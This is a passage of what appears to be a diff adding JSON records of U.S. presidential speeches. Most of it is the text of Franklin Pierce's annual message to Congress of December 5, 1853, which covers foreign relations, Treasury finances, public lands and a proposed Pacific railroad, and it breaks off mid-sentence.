+    "name": "Franklin Pierce"
+}
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+{
+    "date": "December 5, 1853", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:The interest with which the people of the Republic anticipate the\nassembling of Congress and the fulfillment on that occasion of the duty\nimposed upon a new President is one of the best evidences of their capacity\nto realize the hopes of the founders of a political system at once complex\nand symmetrical. While the different branches of the Government are to a\ncertain extent independent of each other, the duties of all alike have\ndirect reference to the source of power. Fortunately, under this system no\nman is so high and none so humble in the scale of public station as to\nescape from the scrutiny or to be exempt from the responsibility which all\nofficial functions imply.Upon the justice and intelligence of the masses, in a government thus\norganized, is the sole reliance of the confederacy and the only security\nfor honest and earnest devotion to its interests against the usurpations\nand encroachment of power on the one hand and the assaults of personal\nambition on the other.The interest of which I have spoken is inseparable from an inquiring,\nself-governing community, but stimulated, doubtless, at the present time by\nthe unsettled condition of our relations with several foreign powers, by\nthe new obligations resulting from a sudden extension of the field of\nenterprise, by the spirit with which that field has been entered and the\namazing energy with which its resources for meeting the demands of humanity\nhave been developed.Although disease, assuming at one time the characteristics of a widespread\nand devastating pestilence, has left its sad traces upon some portions of\nour country, we have still the most abundant cause for reverent\nthankfulness to God for an accumulation of signal mercies showered upon us\nas a nation. It is well that a consciousness of rapid advancement and\nincreasing strength be habitually associated with an abiding sense of\ndependence upon Him who holds in His hands the destiny of men and of\nnations.Recognizing the wisdom of the broad principle of absolute religious\ntoleration proclaimed in our fundamental law, and rejoicing in the benign\ninfluence which it has exerted upon our social and political condition, I\nshould shrink from a clear duty did I fail to express my deepest conviction\nthat we can place no secure reliance upon any apparent progress if it be\nnot sustained by national integrity, resting upon the great truths affirmed\nand illustrated by divine revelation. In the midst of our sorrow for the\nafflicted and suffering, it has been consoling to see how promptly disaster\nmade true neighbors of districts and cities separated widely from each\nother, and cheering to watch the strength of that common bond of\nbrotherhood which unites all hearts, in all parts of this Union, when\ndanger threatens from abroad or calamity impends over us at home.Our diplomatic relations with foreign powers have undergone no essential\nchange since the adjournment of the last Congress. With some of them\nquestions of a disturbing character are still pending, but there are good\nreasons to believe that these may all be amicably adjusted. For some years\npast Great Britain has so construed the first article of the convention of\nthe 20th of April, 1818, in regard to the fisheries on the northeastern\ncoast, as to exclude our citizens from some of the fishing grounds to which\nthey freely resorted for nearly a quarter of a century subsequent to the\ndate of that treaty. The United States have never acquiesced in this\nconstruction, but have always claimed for their fishermen all the rights\nwhich they had so long enjoyed without molestation. With a view to remove\nall difficulties on the subject, to extend the rights of our fishermen\nbeyond the limits fixed by the convention of 1818, and to regulate trade\nbetween the United States and the British North American Provinces, a\nnegotiation has been opened with a fair prospect of a favorable result. To\nprotect our fishermen in the enjoyment of their rights and prevent\ncollision between them and British fishermen, I deemed it expedient to\nstation a naval force in that quarter during the fishing season.Embarrassing questions have also arisen between the two Governments in\nregard to Central America. Great Britain has proposed to settle them by an\namicable arrangement, and our minister at London is instructed to enter\ninto negotiations on that subject. A commission for adjusting the claims of\nour citizens against Great Britain and those of British subjects against\nthe United States, organized under the convention of the 8th of February\nlast, is now sitting in London for the transaction of business. It is in\nmany respects desirable that the boundary line between the United States\nand the British Provinces in the northwest, as designated in the convention\nof the 15th of June, 1846, and especially that part which separates the\nTerritory of Washington from the British possessions on the north, should\nbe traced and marked. I therefore present the subject to your notice.With France our relations continue on the most friendly footing. The\nextensive commerce between the United States and that country might, it is\nconceived, be released from some unnecessary restrictions to the mutual\nadvantage of both parties. With a view to this object, some progress has\nbeen made in negotiating a treaty of commerce and navigation.Independently of our valuable trade with Spain, we have important political\nrelations with her growing out of our neighborhood to the islands of Cuba\nand Porto Rico. I am happy to announce that since the last Congress no\nattempts have been made by unauthorized expeditions within the United\nStates against either of those colonies. Should any movement be manifested\nwithin our limits, all the means at my command will be vigorously exerted\nto repress it. Several annoying occurrences have taken place at Havana, or\nin the vicinity of the island of Cuba, between our citizens and the Spanish\nauthorities. Considering the proximity of that island to our shores, lying,\nas it does, in the track of trade between some of our principal cities, and\nthe suspicious vigilance with which foreign intercourse, particularly that\nwith the United States, is there guarded, a repetition of such occurrences\nmay well be apprehended.As no diplomatic intercourse is allowed between our consul at Havana and\nthe Captain-General of Cuba, ready explanations can not be made or prompt\nredress afforded where injury has resulted. All complaint on the part of\nour citizens under the present arrangement must be, in the first place,\npresented to this Government and then referred to Spain. Spain again refers\nit to her local authorities in Cuba for investigation, and postpones an\nanswer till she has heard from those authorities. To avoid these irritating\nand vexatious delays, a proposition has been made to provide for a direct\nappeal for redress to the Captain-General by our consul in behalf of our\ninjured fellow-citizens. Hitherto the Government of Spain has declined to\nenter into any such arrangement. This course on her part is deeply\nregretted, for without some arrangement of this kind the good understanding\nbetween the two countries may be exposed to occasional interruption. Our\nminister at Madrid is instructed to renew the proposition and to press it\nagain upon the consideration of Her Catholic Majesty's Government.For several years Spain has been calling the attention of this Government\nto a claim for losses by some of her subjects in the case of the schooner\nAmistad. This claim is believed to rest on the obligations imposed by our\nexisting treaty with that country. Its justice was admitted in our\ndiplomatic correspondence with the Spanish Government as early as March,\n1847, and one of my predecessors, in his annual message of that year,\nrecommended that provision should be made for its payment. In January last\nit was again submitted to Congress by the Executive. It has received a\nfavorable consideration by committees of both branches, but as yet there\nhas been no final action upon it. I conceive that good faith requires its\nprompt adjustment, and I present it to your early and favorable\nconsideration.Martin Koszta, a Hungarian by birth, came to this country in 1850, and\ndeclared his intention in due form of law to become a citizen of the United\nStates. After remaining here nearly two years he visited Turkey. While at\nSmyrna he was forcibly seized, taken on board an Austrian brig of war then\nlying in the harbor of that place, and there confined in irons, with the\navowed design to take him into the dominions of Austria. Our consul at\nSmyrna and legation at Constantinople interposed for his release, but their\nefforts were ineffectual. While thus in prison Commander Ingraham, with the\nUnited States ship of war St. Louis, arrived at Smyrna, and after inquiring\ninto the circumstances of the case came to the conclusion that Koszta was\nentitled to the protection of this Government, and took energetic and\nprompt measures for his release. Under an arrangement between the agents of\nthe United States and of Austria, he was transferred to the custody of the\nFrench consul-general at Smyrna, there to remain until he should be\ndisposed of by the mutual agreement of the consuls of the respective\nGovernments at that place. Pursuant to that agreement, he has been\nreleased, and is now in the United States. The Emperor of Austria has made\nthe conduct of our officers who took part in this transaction a subject of\ngrave complaint. Regarding Koszta as still his subject, and claiming a\nright to seize him within the limits of the Turkish Empire, he has demanded\nof this Government its consent to the surrender of the prisoner, a\ndisavowal of the acts of its agents, and satisfaction for the alleged\noutrage. After a careful consideration of the case I came to the conclusion\nthat Koszta was seized without legal authority at Smyrna; that he was\nwrongfully detained on board of the Austrian brig of war; that at the time\nof his seizure he was clothed with the nationality of the United States,\nand that the acts of our officers, under the circumstances of the case,\nwere justifiable, and their conduct has been fully approved by me, and a\ncompliance with the several demands of the Emperor of Austria has been\ndeclined.For a more full account of this transaction and my views in regard to it I\nrefer to the correspondence between the charge d'affaires of Austria and\nthe Secretary of State, which is herewith transmitted. The principles and\npolicy therein maintained on the part of the United States will, whenever a\nproper occasion occurs, be applied and enforced.The condition of China at this time renders it probable that some important\nchanges will occur in that vast Empire which will lead to a more\nunrestricted intercourse with it. The commissioner to that country who has\nbeen recently appointed is instructed to avail himself of all occasions to\nopen and extend our commercial relations, not only with the Empire of\nChina, but with other Asiatic nations.In 1852 an expedition was sent to Japan, under the command of Commodore\nPerry, for the purpose of opening commercial intercourse with that Empire.\nIntelligence has been received of his arrival there and of his having made\nknown to the Emperor of Japan the object of his visit. But it is not yet\nascertained how far the Emperor will be disposed to abandon his restrictive\npolicy and open that populous country to a commercial intercourse with the\nUnited States.It has been my earnest desire to maintain friendly intercourse with the\nGovernments upon this continent and to aid them in preserving good\nunderstanding among themselves. With Mexico a dispute has arisen as to the\ntrue boundary line between our Territory of New Mexico and the Mexican\nState of Chihuahua. A former commissioner of the United States, employed in\nrunning that line pursuant to the treaty of Guadalupe Hidalgo, made a\nserious mistake in determining the initial point on the Rio Grande; but\ninasmuch as his decision was clearly a departure from the directions for\ntracing the boundary contained in that treaty, and was not concurred in by\nthe surveyor appointed on the part of the United States, whose concurrence\nwas necessary to give validity to that decision, this Government is not\nconcluded thereby; but that of Mexico takes a different view of the\nsubject.There are also other questions of considerable magnitude pending between\nthe two Republics. Our minister in Mexico has ample instructions to adjust\nthem. Negotiations have been opened, but sufficient progress has not been\nmade therein to enable me to speak of the probable result. Impressed with\nthe importance of maintaining amicable relations with that Republic and of\nyielding with liberality to all her just claims, it is reasonable to expect\nthat an arrangement mutually satisfactory to both countries may be\nconcluded and a lasting friendship between them confirmed and perpetuated.Congress having provided for a full mission to the States of Central\nAmerica, a minister was sent thither in July last. As yet he has had time\nto visit only one of these States (Nicaragua), where he was received in the\nmost friendly manner. It is hoped that his presence and good offices will\nhave a benign effect in composing the dissensions which prevail among them,\nand in establishing still more intimate and friendly relations between them\nrespectively and between each of them and the United States.Considering the vast regions of this continent and the number of states\nwhich would be made accessible by the free navigation of the river Amazon,\nparticular attention has been given to this subject. Brazil, through whose\nterritories it passes into the ocean, has hitherto persisted in a policy so\nrestricted in regard to the use of this river as to obstruct and nearly\nexclude foreign commercial intercourse with the States which lie upon its\ntributaries and upper branches. Our minister to that country is instructed\nto obtain a relaxation of that policy and to use his efforts to induce the\nBrazilian Government to open to common use, under proper safeguards, this\ngreat natural highway for international trade. Several of the South\nAmerican States are deeply interested in this attempt to secure the free\nnavigation of the Amazon, and it is reasonable to expect their cooperation\nin the measure. As the advantages of free commercial intercourse among\nnations are better understood, more liberal views are generally entertained\nas to the common rights of all to the free use of those means which nature\nhas provided for international communication. To these more liberal and\nenlightened views it is hoped that Brazil will conform her policy and\nremove all unnecessary restrictions upon the free use of a river which\ntraverses so many states and so large a part of the continent. I am happy\nto inform you that the Republic of Paraguay and the Argentine Confederation\nhave yielded to the liberal policy still resisted by Brazil in regard to\nthe navigable rivers within their respective territories. Treaties\nembracing this subject, among others, have been negotiated with these\nGovernments, which will be submitted to the Senate at the present session.A new branch of commerce, important to the agricultural interests of the\nUnited States, has within a few years past been opened with Peru.\nNotwithstanding the inexhaustible deposits of guano upon the islands of\nthat country, considerable difficulties are experienced in obtaining the\nrequisite supply. Measures have been taken to remove these difficulties and\nto secure a more abundant importation of the article. Unfortunately, there\nhas been a serious collision between our citizens who have resorted to the\nChincha Islands for it and the Peruvian authorities stationed there.\nRedress for the outrages committed by the latter was promptly demanded by\nour minister at Lima. This subject is now under consideration, and there is\nreason to believe that Peru is disposed to offer adequate indemnity to the\naggrieved parties. We are thus not only at peace with all foreign\ncountries, but, in regard to political affairs, are exempt from any cause\nof serious disquietude in our domestic relations.The controversies which have agitated the country heretofore are passing\naway with the causes which produced them and the passions which they had\nawakened; or, if any trace of them remains, it may be reasonably hoped that\nit will only be perceived in the zealous rivalry of all good citizens to\ntestify their respect for the rights of the States, their devotion to the\nUnion, and their common determination that each one of the States, its\ninstitutions, its welfare, and its domestic peace, shall be held alike\nsecure under the sacred aegis of the Constitution. This new league of amity\nand of mutual confidence and support into which the people of the Republic\nhave entered happily affords inducement and opportunity for the adoption of\na more comprehensive and unembarrassed line of policy and action as to the\ngreat material interests of the country, whether regarded in themselves or\nin connection with the powers of the civilized world.The United States have continued gradually and steadily to expand through\nacquisitions of territory, which, how much soever some of them may have\nbeen questioned, are now universally seen and admitted to have been wise in\npolicy, just in character, and a great element in the advancement of our\ncountry, and with it of the human race, in freedom, in prosperity, and in\nhappiness. The thirteen States have grown to be thirty-one, with relations\nreaching to Europe on the one side and on the other to the distant realms\nof Asia.I am deeply sensible of the immense responsibility which the present\nmagnitude of the Republic and the diversity and multiplicity of its\ninterests devolves upon me, the alleviation of which so far as relates to\nthe immediate conduct of the public business, is, first, in my reliance on\nthe wisdom and patriotism of the two Houses of Congress, and, secondly, in\nthe directions afforded me by the principles of public polity affirmed by\nour fathers of the epoch of 1798, sanctioned by long experience, and\nconsecrated anew by the overwhelming voice of the people of the United\nStates.Recurring to these principles, which constitute the organic basis of union,\nwe perceive that vast as are the functions and the duties of the Federal\nGovernment, vested in or intrusted to its three great departments--the\nlegislative, executive, and judicial--yet the substantive power, the\npopular force, and the large capacities for social and material development\nexist in the respective States, which, all being of themselves\nwell-constituted republics, as they preceded so they alone are capable of\nmaintaining and perpetuating the American Union. The Federal Government has\nits appropriate line of action in the specific and limited powers conferred\non it by the Constitution, chiefly as to those things in which the States\nhave a common interest in their relations to one another and to foreign\ngovernments, while the great mass of interests which belong to cultivated\nmen--the ordinary business of life, the springs of industry, all the\ndiversified personal and domestic affairs of society--rest securely upon\nthe general reserved powers of the people of the several States. There is\nthe effective democracy of the nation, and there the vital essence of its\nbeing and its greatness.Of the practical consequences which flow from the nature of the Federal\nGovernment, the primary one is the duty of administering with integrity and\nfidelity the high trust reposed in it by the Constitution, especially in\nthe application of the public funds as drawn by taxation from the people\nand appropriated to specific objects by Congress.Happily, I have no occasion to suggest any radical changes in the financial\npolicy of the Government. Ours is almost, if not absolutely, the solitary\npower of Christendom having a surplus revenue drawn immediately from\nimposts on commerce, and therefore measured by the spontaneous enterprise\nand national prosperity of the country, with such indirect relation to\nagriculture, manufactures, and the products of the earth and sea as to\nviolate no constitutional doctrine and yet vigorously promote the general\nwelfare. Neither as to the sources of the public treasure nor as to the\nmanner of keeping and managing it does any grave controversy now prevail,\nthere being a general acquiescence in the wisdom of the present system.The report of the Secretary of the Treasury will exhibit in detail the\nstate of the public finances and the condition of the various branches of\nthe public service administered by that Department of the Government.The revenue of the country, levied almost insensibly to the taxpayer, goes\non from year to year, increasing beyond either the interests or the\nprospective wants of the Government.At the close of the fiscal year ending June 30, 1852, there remained in the\nTreasury a balance of $14,632,136. The public revenue for the fiscal year\nending June 30, 1853, amounted to $58,931,865 from customs and to\n$2,405,708 from public lands and other miscellaneous sources, amounting\ntogether to $61,337,574, while the public expenditures for the same period,\nexclusive of payments on account of the public debt, amounted to\n$43,554,262, leaving a balance of $32,425,447 of receipts above\nexpenditures.This fact of increasing surplus in the Treasury became the subject of\nanxious consideration at a very early period of my Administration, and the\npath of duty in regard to it seemed to me obvious and clear, namely: First,\nto apply the surplus revenue to the discharge of the public debt so far as\nit could judiciously be done, and, secondly, to devise means for the\ngradual reduction of the revenue to the standard of the public exigencies.Of these objects the first has been in the course of accomplishment in a\nmanner and to a degree highly satisfactory. The amount of the public debt\nof all classes was on the 4th of March, 1853, $69,190,037, payments on\naccount of which have been made since that period to the amount of\n$12,703,329, leaving unpaid and in continuous course of liquidation the sum\nof $56,486,708. These payments, although made at the market price of the\nrespective classes of stocks, have been effected readily and to the general\nadvantage of the Treasury, and have at the same time proved of signal\nutility in the relief they have incidentally afforded to the money market\nand to the industrial and commercial pursuits of the country.The second of the above-mentioned objects, that of the reduction of the\ntariff, is of great importance, and the plan suggested by the Secretary of\nthe Treasury, which is to reduce the duties on certain articles and to add\nto the free list many articles now taxed, and especially such as enter into\nmanufactures and are not largely, or at all, produced in the country, is\ncommended to your candid and careful consideration.You will find in the report of the Secretary of the Treasury, also,\nabundant proof of the entire adequacy of the present fiscal system to meet\nall the requirements of the public service, and that, while properly\nadministered, it operates to the advantage of the community in ordinary\nbusiness relations.I respectfully ask your attention to sundry suggestions of improvements in\nthe settlement of accounts, especially as regards the large sums of\noutstanding arrears due to the Government, and of other reforms in the\nadministrative action of his Department which are indicated by the\nSecretary; as also to the progress made in the construction of marine\nhospitals, custom-houses, and of a new mint in California and assay office\nin the city of New York, heretofore provided for by Congress, and also to\nthe eminently successful progress of the Coast Survey and of the Light\nHouse Board.Among the objects meriting your attention will be important recommendations\nfrom the Secretaries of War and Navy. I am fully satisfied that the Navy of\nthe United States is not in a condition of strength and efficiency\ncommensurate with the magnitude of our commercial and other interests, and\ncommend to your especial attention the suggestions on this subject made by\nthe Secretary of the Navy. I respectfully submit that the Army, which under\nour system must always be regarded with the highest interest as a nucleus\naround which the volunteer forces of the nation gather in the hour of\ndanger, requires augmentation, or modification, to adapt it to the present\nextended limits and frontier relations of the country and the condition of\nthe Indian tribes in the interior of the continent, the necessity of which\nwill appear in the communications of the Secretaries of War and the\nInterior.In the administration of the Post-Office Department for the fiscal year\nending June 30, 1853, the gross expenditure was $7,982,756, and the gross\nreceipts during the same period $5,942,734, showing that the current\nrevenue failed to meet the current expenses of the Department by the sum of\n$2,042,032. The causes which, under the present postal system and laws, led\ninevitably to this result are fully explained by the report of the\nPostmaster-General, one great cause being the enormous rates the Department\nhas been compelled to pay for mail service rendered by railroad companies.The exhibit in the report of the Postmaster-General of the income and\nexpenditures by mail steamers will be found peculiarly interesting and of a\ncharacter to demand the immediate action of Congress.Numerous and flagrant frauds upon the Pension Bureau have been brought to\nlight within the last year, and in some instances merited punishments\ninflicted; but, unfortunately, in others guilty parties have escaped, not\nthrough the want of sufficient evidence to warrant a conviction, but in\nconsequence of the provisions of limitation in the existing laws.From the nature of these claims, the remoteness of the tribunals to pass\nupon them, and the mode in which the proof is of necessity furnished,\ntemptations to crime have been greatly stimulated by the obvious\ndifficulties of detection. The defects in the law upon this subject are so\napparent and so fatal to the ends of justice that your early action\nrelating to it is most desirable.During the last fiscal year 9,819,411 acres of the public lands have been\nsurveyed and 10,363,891 acres brought into market. Within the same period\nthe sales by public purchase and private entry amounted to 1,083,495 acres;\nlocated under military bountys and warrants, 6,142,360 acres; located under\nother certificates, 9,427 acres; ceded to the States as swamp lands,\n16,684,253 acres; selected for railroad and other objects under acts of\nCongress, 1,427,457 acres: total amount of lands disposed of within the\nfiscal year, 25,346,992 acres, which is an increase in quantity sold and\nlocated under land warrants and grants of 12,231, 818 acres over the fiscal\nyear immediately preceding. The quantity of land sold during the second and\nthird quarters of 1852 was 334,451 acres; the amount received therefor was\n$623,687. The quantity sold the second and third quarters of the year 1853\nwas 1,609,919 acres, and the amount received therefor $2,226,876.The whole number of land warrants issued under existing laws prior to the\n30th of September last was 266,042, of which there were outstanding at that\ndate 66,947. The quantity of land required to satisfy these outstanding\nwarrants is 4,778,120 acres. Warrants have been issued to 30th of September\nlast under the act of 11th February, 1847, calling for 12,879,280 acres,\nunder acts of September 28, 1850, and March 22, 1852, calling for\n12,505,360 acres, making a total of 25,384,640 acres.It is believed that experience has verified the wisdom and justice of the\npresent system with regard to the public domain in most essential\nparticulars.You will perceive from the report of the Secretary of the Interior that\nopinions which have often been expressed in relation to the operation of\nthe land system as not being a source of revenue to the Federal Treasury\nwere erroneous. The net profits from the sale of the public lands to June\n30, 1853, amounted to the sum of $53,289,465.I recommend the extension of the land system over the Territories of Utah\nand New Mexico, with such modifications as their peculiarities may\nrequire.Regarding our public domain as chiefly valuable to provide homes for the\nindustrious and enterprising, I am not prepared to recommend any essential\nchange in the land system, except by modifications in favor of the actual\nsettler and an extension of the preemption principle in certain cases, for\nreasons and on grounds which will be fully developed in the reports to be\nlaid before you.Congress, representing the proprietors of the territorial domain and\ncharged especially with power to dispose of territory belonging to the\nUnited States, has for a long course of years, beginning with the\nAdministration of Mr. Jefferson, exercised the power to construct roads\nwithin the Territories, and there are so many and obvious distinctions\nbetween this exercise of power and that of making roads within the States\nthat the former has never been considered subject to such objections as\napply to the latter; and such may now be considered the settled\nconstruction of the power of the Federal Government upon the subject.Numerous applications have been and no doubt will continue to be made for\ngrants of land in aid of the construction of railways. It is not believed\nto be within the intent and meaning of the Constitution that the power to\ndispose of the public domain should be used otherwise than might be\nexpected from a prudent proprietor and therefore that grants of land to aid\nin the construction of roads should be restricted to cases where it would\nbe for the interest of a proprietor under like circumstances thus to\ncontribute to the construction of these works. For the practical operation\nof such grants thus far in advancing the interests of the States in which\nthe works are located, and at the same time the substantial interests of\nall the other States, by enhancing the value and promoting the rapid sale\nof the public domain, I refer you to the report of the Secretary of the\nInterior. A careful examination, however, will show that this experience is\nthe result of a just discrimination and will be far from affording\nencouragement to a reckless or indiscriminate extension of the principle.I commend to your favorable consideration the men of genius of our country\nwho by their inventions and discoveries in science and arts have\ncontributed largely to the improvements of the age without, in many\ninstances, securing for themselves anything like an adequate reward. For\nmany interesting details upon this subject I refer you to the appropriate\nreports, and especially urge upon your early attention the apparently\nslight, but really important, modifications of existing laws therein\nsuggested.The liberal spirit which has so long marked the action of Congress in\nrelation to the District of Columbia will, I have no doubt, continue to be\nmanifested.The erection of an asylum for the insane of the District of Columbia and of\nthe Army and Navy of the United States has been somewhat retarded by the\ngreat demand for materials and labor during the past summer, but full\npreparation for the reception of patients before the return of another\nwinter is anticipated; and there is the best reason to believe, from the\nplan and contemplated arrangements which have been devised, with the large\nexperience furnished within the last few years in relation to the nature\nand treatment of the disease, that it will prove an asylum indeed to this\nmost helpless and afflicted class of sufferers and stand as a noble\nmonument of wisdom and mercy. Under the acts of Congress of August 31,\n1852, and of March 3, 1853, designed to secure for the cities of Washington\nand Georgetown an abundant supply of good and wholesome water, it became my\nduty to examine the report and plans of the engineer who had charge of the\nsurveys under the act first named. The best, if not the only, plan\ncalculated to secure permanently the object sought was that which\ncontemplates taking the water from the Great Falls of the Potomac, and\nconsequently I gave to it my approval.For the progress and present condition of this important work and for its\ndemands so far as appropriations are concerned I refer you to the report of\nthe Secretary of War.The present judicial system of the United States has now been in operation\nfor so long a period of time and has in its general theory and much of its\ndetails become so familiar to the country and acquired so entirely the\npublic confidence that if modified in any respect it should only be in\nthose particulars which may adapt it to the increased extent, population,\nand legal business of the United States. In this relation the organization\nof the courts is now confessedly inadequate to the duties to be performed\nby them, in consequence of which the States of Florida, Wisconsin, Iowa,\nTexas, and California, and districts of other States, are in effect\nexcluded from the full benefits of the general system by the functions of\nthe circuit court being devolved on the district judges in all those States\nor parts of States. The spirit of the Constitution and a due regard to\njustice require that all the States of the Union should be placed on the\nsame footing in regard to the judicial tribunals. I therefore commend to\nyour consideration this important subject, which in my judgment demands the\nspeedy action of Congress. I will present to you, if deemed desirable, a\nplan which I am prepared to recommend for the enlargement and modification\nof the present judicial system.The act of Congress establishing the Smithsonian Institution provided that\nthe President of the United States and other persons therein designated\nshould constitute an \"establishment\" by that name, and that the members\nshould hold stated and special meetings for the supervision of the affairs\nof the Institution. The organization not having taken place, it seemed to\nme proper that it should be effected without delay. This has been done; and\nan occasion was thereby presented for inspecting the condition of the\nInstitution and appreciating its successful progress thus far and its high\npromise of great and general usefulness.I have omitted to ask your favorable consideration for the estimates of\nworks of a local character in twenty-seven of the thirty-one States,\namounting to $1,754,500, because, independently of the grounds which have\nso often been urged against the application of the Federal revenue for\nworks of this character, inequality, with consequent injustice, is inherent\nin the nature of the proposition, and because the plan has proved entirely\ninadequate to the accomplishment of the objects sought.The subject of internal improvements, claiming alike the interest and good\nwill of all, has, nevertheless, been the basis of much political discussion\nand has stood as a deep-graven line of division between statesmen of\neminent ability and patriotism. The rule of strict construction of all\npowers delegated by the States to the General Government has arrayed itself\nfrom time to time against the rapid progress of expenditures from the\nNational Treasury on works of a local character within the States.\nMemorable as an epoch in the history of this subject is the message of\nPresident Jackson of the 27th of May, 1830, which met the system of\ninternal improvements in its comparative infancy; but so rapid had been its\ngrowth that the projected appropriations in that year for works of this\ncharacter had risen to the alarming amount of more than $100,000,000In that message the President admitted the difficulty of bringing back the\noperations of the Government to the construction of the Constitution set up\nin 1798, and marked it as an admonitory proof of the necessity of guarding\nthat instrument with sleepless vigilance against the authority of\nprecedents which had not the sanction of its most plainly defined powers.Our Government exists under a written compact between sovereign States,\nuniting for specific objects and with specific grants to their general\nagent. If, then, in the progress of its administration there have been\ndepartures from the terms and intent of the compact, it is and will ever be\nproper to refer back to the fixed standard which our fathers left us and to\nmake a stern effort to conform our action to it. It would seem that the\nfact of a principle having been resisted from the first by many of the\nwisest and most patriotic men of the Republic, and a policy having provoked\nconstant strife without arriving at a conclusion which can be regarded as\nsatisfactory to its most earnest advocates, should suggest the inquiry\nwhether there may not be a plan likely to be crowned by happier results.\nWithout perceiving any sound distinction or intending to assert any\nprinciple as opposed to improvements needed for the protection of internal\ncommerce which does not equally apply to improvements upon the seaboard for\nthe protection of foreign commerce, I submit to you whether it may not be\nsafely anticipated that if the policy were once settled against\nappropriations by the General Government for local improvements for the\nbenefit of commerce, localities requiring expenditures would not, by modes\nand means clearly legitimate and proper, raise the fund necessary for such\nconstructions as the safety or other interests of their commerce might\nrequire.If that can be regarded as a system which in the experience of mere than\nthirty years has at no time so commanded the public judgment as to give it\nthe character of a settled policy; which, though it has produced some works\nof conceded importance, has been attended with an expenditure quite\ndisproportionate to their value and has resulted in squandering large sums\nupon objects which have answered no valuable purpose, the interests of all\nthe States require it to be abandoned unless hopes may be indulged for the\nfuture which find no warrant in the past.With an anxious desire for the completion of the works which are regarded\nby all good citizens with sincere interest, I have deemed it my duty to ask\nat your hands a deliberate reconsideration of the question, with a hope\nthat, animated by a desire to promote the permanent and substantial\ninterests of the country, your wisdom may prove equal to the task of\ndevising and maturing a plan which, applied to this subject, may promise\nsomething better than constant strife, the suspension of the powers of\nlocal enterprise, the exciting of vain hopes, and the disappointment of\ncherished expectations.In expending the appropriations made by the last Congress several cases\nhave arisen in relation to works for the improvement of harbors which\ninvolve questions as to the right of soil and jurisdiction, and have\nthreatened conflict between the authority of the State and General\nGovernments. The right to construct a breakwater, jetty, or dam would seem\nnecessarily to carry with it the power to protect and preserve such\nconstructions. This can only be effectually done by having jurisdiction\nover the soil. But no clause of the Constitution is found on which to rest\nthe claim of the United States to exercise jurisdiction over the soil of a\nState except that conferred by the eighth section of the first article of\nthe Constitution. It is, then, submitted whether, in all cases where\nconstructions are to be erected by the General Government, the right of\nsoil should not first be obtained and legislative provision be made to\ncover all such cases. For the progress made in the construction of roads\nwithin the Territories, as provided for in the appropriations of the last\nCongress, I refer you to the report of the Secretary of War.There is one subject of a domestic nature which, from its intrinsic\nimportance and the many interesting questions of future policy which it\ninvolves, can not fail to receive your early attention. I allude to the\nmeans of communication by which different parts of the wide expanse of our\ncountry are to be placed in closer connection for purposes both of defense\nand commercial intercourse, and more especially such as appertain to the\ncommunication of those great divisions of the Union which lie on the\nopposite sides of the Rocky Mountains. That the Government has not been\nunmindful of this heretofore is apparent from the aid it has afforded\nthrough appropriations for mail facilities and other purposes. But the\ngeneral subject will now present itself under aspects more imposing and\nmore purely national by reason of the surveys ordered by Congress, and now\nin the process of completion, for communication by railway across the\ncontinent, and wholly within the limits of the United States.The power to declare war, to raise and support armies, to provide and\nmaintain a navy, and to call forth the militia to execute the laws,\nsuppress insurrections, and repel invasions was conferred upon Congress as\nmeans to provide for the common defense and to protect a territory and a\npopulation now widespread and vastly multiplied. As incidental to and\nindispensable for the exercise of this power, it must sometimes be\nnecessary to construct military roads and protect harbors of refuge. To\nappropriations by Congress for such objects no sound objection can be\nraised. Happily for our country, its peaceful policy and rapidly increasing\npopulation impose upon us no urgent necessity for preparation, and leave\nbut few trackless deserts between assailable points and a patriotic people\never ready and generally able to protect them. These necessary links the\nenterprise and energy of our people are steadily and boldly struggling to\nsupply. All experience affirms that wherever private enterprise will avail\nit is most wise for the General Government to leave to that and individual\nwatchfulness the location and execution of all means of communication.The surveys before alluded to were designed to ascertain the most\npracticable and economical route for a railroad from the river Mississippi\nto the Pacific Ocean. Parties are now in the field making explorations,\nwhere previous examinations had not supplied sufficient data and where\nthere was the best reason to hope the object sought might be found. The\nmeans and time being both limited, it is not to be expected that all the\naccurate knowledge desired will be obtained, but it is hoped that much and\nimportant information will be added to the stock previously possessed, and\nthat partial, if not full, reports of the surveys ordered will be received\nin time for transmission to the two Houses of Congress on or before the\nfirst Monday in February next, as required by the act of appropriation. The\nmagnitude of the enterprise contemplated has aroused and will doubtless\ncontinue to excite a very general interest throughout the country. In its\npolitical, its commercial, and its military bearings it has varied, great,\nand increasing claims to consideration. The heavy expense, the great delay,\nand, at times, fatality attending travel by either of the Isthmus routes\nhave demonstrated the advantage which would result from interterritorial\ncommunication by such safe and rapid means as a railroad would supply.These difficulties, which have been encountered in a period of peace, would\nbe magnified and still further increased in time of war. But whilst the\nembarrassments already encountered and others under new contingencies to be\nanticipated may serve strikingly to exhibit the importance of such a work,\nneither these nor all considerations combined can have an appreciable value\nwhen weighed against the obligation strictly to adhere to the Constitution\nand faithfully to execute the powers it confers.Within this limit and to the extent of the interest of the Government\ninvolved it would seem both expedient and proper if an economical and\npracticable route shall be found to aid by all constitutional means in the\nconstruction of a road which will unite by speedy transit the populations\nof the Pacific and Atlantic States. To guard against misconception, it\nshould be remarked that although the power to construct or aid in the\nconstruction of a road within the limits of a Territory is not embarrassed\nby that question of jurisdiction which would arise within the limits of a\nState, it is, nevertheless, held to be of doubtful power and more than\ndoubtful propriety, even within the limits of a Territory, for the General\nGovernment to undertake to administer the affairs of a railroad, a canal,\nor other similar construction, and therefore that its connection with a\nwork of this character should be incidental rather than primary. I will\nonly add at present that, fully appreciating the magnitude of the subject\nand solicitous that the Atlantic and Pacific shores of the Republic may be\nbound together by inseparable ties of common interest, as well as of common\nfealty and attachment to the Union, I shall be disposed, so far as my own\naction is concerned, to follow the lights of the Constitution as expounded\nand illustrated by those whose opinions and expositions constitute the\nstandard of my political faith in regard to the powers of the Federal\nGovernment. It is, I trust, not necessary to say that no grandeur of\nenterprise and no present urgent inducement promising popular favor will\nlead me to disregard those lights or to depart from that path which\nexperience has proved to be safe, and which is now radiant with the glow of\nprosperity and legitimate constitutional progress. We can afford to wait,\nbut we can not afford to overlook the ark of our security.It is no part of my purpose to give prominence to any subject which may\nproperly be regarded as set at rest by the deliberate judgment of the\npeople. But while the present is bright with promise and the future full of\ndemand and inducement for the exercise of active intelligence, the past can\nnever be without useful lessons of admonition and instruction. If its\ndangers serve not as beacons, they will evidently fail to fulfill the\nobject of a wise design. When the grave shall have closed over all who are\nnow endeavoring to meet the obligations of duty, the year 1850 will be\nrecurred to as a period filled with anxious apprehension. A successful war\nhad just terminated. Peace brought with it a vast augmentation of\nterritory. Disturbing questions arose bearing upon the 